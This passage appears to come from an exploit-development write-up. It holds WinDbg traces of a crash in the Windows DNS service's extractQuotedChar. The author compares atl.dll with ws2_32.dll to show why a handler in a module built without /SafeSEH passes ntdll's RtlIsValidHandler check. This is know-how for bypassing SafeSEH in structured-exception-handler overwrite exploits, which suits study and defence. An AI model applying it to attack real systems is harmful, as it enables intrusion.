ntdll!RtlDispatchException+0x8c:
7c8140c7 e885ad0100 call ntdll!RtlpExecuteHandlerForException (7c82ee51)
...
0139f6f3 cc int 3

And this is the path of ws2_32.dll

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

ntdll!KiUserExceptionDispatcher+0x4:
7c82ecbc 8b1c24 mov ebx,dword ptr [esp] ss:0023:0139f3bc=0139f3c4

ntdll!KiUserExceptionDispatcher+0x9:
7c82ecc1 e87653feff call ntdll!RtlDispatchException (7c81403c)

ntdll!RtlDispatchException+0x73:
7c8140ae e80bffffff call ntdll!RtlIsValidHandler (7c813fbe)
eax=00005000

ntdll!RtlDispatchException+0x78:
7c8140b3 84c0 test al,al
eax=00005000

ntdll!RtlDispatchException+0x7a:
7c8140b5 0f847e930500 je ntdll!RtlDispatchException+0x110 (7c86d439)


ntdll!RtlDispatchException+0x110:
7c86d439 834e0408 or dword ptr [esi+4],8 ds:0023:0139f3c8=00000000


dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

The difference between 2 dlls is at the check after call ntdll!RtlIsvalidHandler. It checks the return value from ntdll!RtlIsValidHandler. The return value of atl.dll is 0x01, so it will not jump to ntdll!RtlDispatchException + 0x110 and finally execute ntdll!RtlpExecuteHandlerForException.

Now, I will investigate ntdll!RtlIsValidHandler. I want to find why atl.dll return 0x01 and ws2_32.dll return 0x00. This is the path for atl.dll:


ntdll!RtlIsValidHandler+0x1f:
7c813fdd e842150000
call ntdll!RtlLookupFunctionTable (7c815524)
eax=00000000


ntdll!RtlIsValidHandler+0x24:

7c813fe2 33db xor ebx,ebx

eax=00000000 ebx=0000000


ntdll!RtlIsValidHandler+0x26:

7c813fe4 3bc3 cmp eax,ebx

eax=00000000 ebx=00000000


ntdll!RtlIsValidHandler+0x2b:

7c813fe9 0f84222bffff je ntdll!RtlIsValidHandler+0x6f (7c806b11)


ntdll!RtlIsValidHandler+0x6f:

7c806b11 8d45e8 lea eax,[ebp-18h]

The return value of atl.dll from ntdll!RtlLookupFunctionTable is 0x00 and it will jump to ntdll!RtlIsValidHandler + 0x6f. The return value of ws2_32.dll is not 0x00:


ntdll!RtlIsValidHandler+0x1f:
7c813fdd e842150000 call ntdll!RtlLookupFunctionTable (7c815524)
eax=71c094e0

It is not jump to ntdll!RtlIsValidHandler + 0x6f and call ntdll!RtlInvalidHandlerDetected

ntdll!RtlIsValidHandler+0x2b:
7c813fe9 0f84222bffff je ntdll!RtlIsValidHandler+0x6f (7c806b11)


ntdll!RtlIsValidHandler+0x2d:

7c813fef 8b7df8 mov edi,dword ptr [ebp-8] ss:0023:0139f330=00000001


ntdll!RtlIsValidHandler+0xe2:

7c814108 e8e8910500 call ntdll!RtlInvalidHandlerDetected (7c86d2f5)

Now, I know more details about the difference between atl.dll and ws2_32.dll. The function ntdll!RtlIsValidHandler return true (0x01) for atl.dll and false (0x00) for ws2_32.dll. The key internal function in ntdll!RtlIsvalidHandler is ntdll!RtlLookupFunctionTable.

The function ntdll!RtlLookupFunctionTable return 0x00 for atl.dll and non-zero for ws2_32.dll. Now, I will look for the difference between atl.dll and ws2_32.dll in ntdll!RtlLookupFunctionTable. After take a lot of time, I found the interesting thing in ws2_32.dll:


ntdll!RtlLookupFunctionTable+0x8:
7c81552c 8365fc00 and dword ptr [ebp-4],0

ntdll!RtlLookupFunctionTable+0xc6:
7c81562e 8d45fc lea eax,[ebp-4]

0:007> dd ebp - 4
0139f2e0 00000000 0139f338 7c813fe2 71c0291d

ntdll!RtlLookupFunctionTable+0xc9:
7c815631 50 push eax

ntdll!RtlLookupFunctionTable+0xca:
7c815632 56 push esi

ntdll!RtlLookupFunctionTable+0xcb:
7c815633 e87cffffff call ntdll!RtlCaptureImageExceptionValues (7c8155b4)
0:007> p
ntdll!RtlLookupFunctionTable+0xd0:
7c815638 e956ffffff jmp ntdll!RtlLookupFunctionTable+0xd5 (7c815593)
0:007> dd ebp - 4
0139f2e0 71c094e0 0139f338 7c813fe2 71c0291d

ntdll!RtlLookupFunctionTable+0xed:
7c8155a6 8b45fc mov eax,dword ptr [ebp-4] ss:0023:0139f2e0=71c094e0

ntdll!RtlLookupFunctionTable+0xf3:
7c8155ac c20c00 ret 0Ch

After call ntdll!RtlCaptureImageExceptionValues, the value 0x00 stored at [ebp – 4] is changed. This condition occurs in the image that complied with /SafeSEH option such as ws2_32.dll. For atl.dll, this function is not change the value at [ebp – 4]:

ntdll!RtlLookupFunctionTable+0xed:
7c8155a6 8b45fc mov eax,dword ptr [ebp-4] ss:0023:0139f2e0=00000000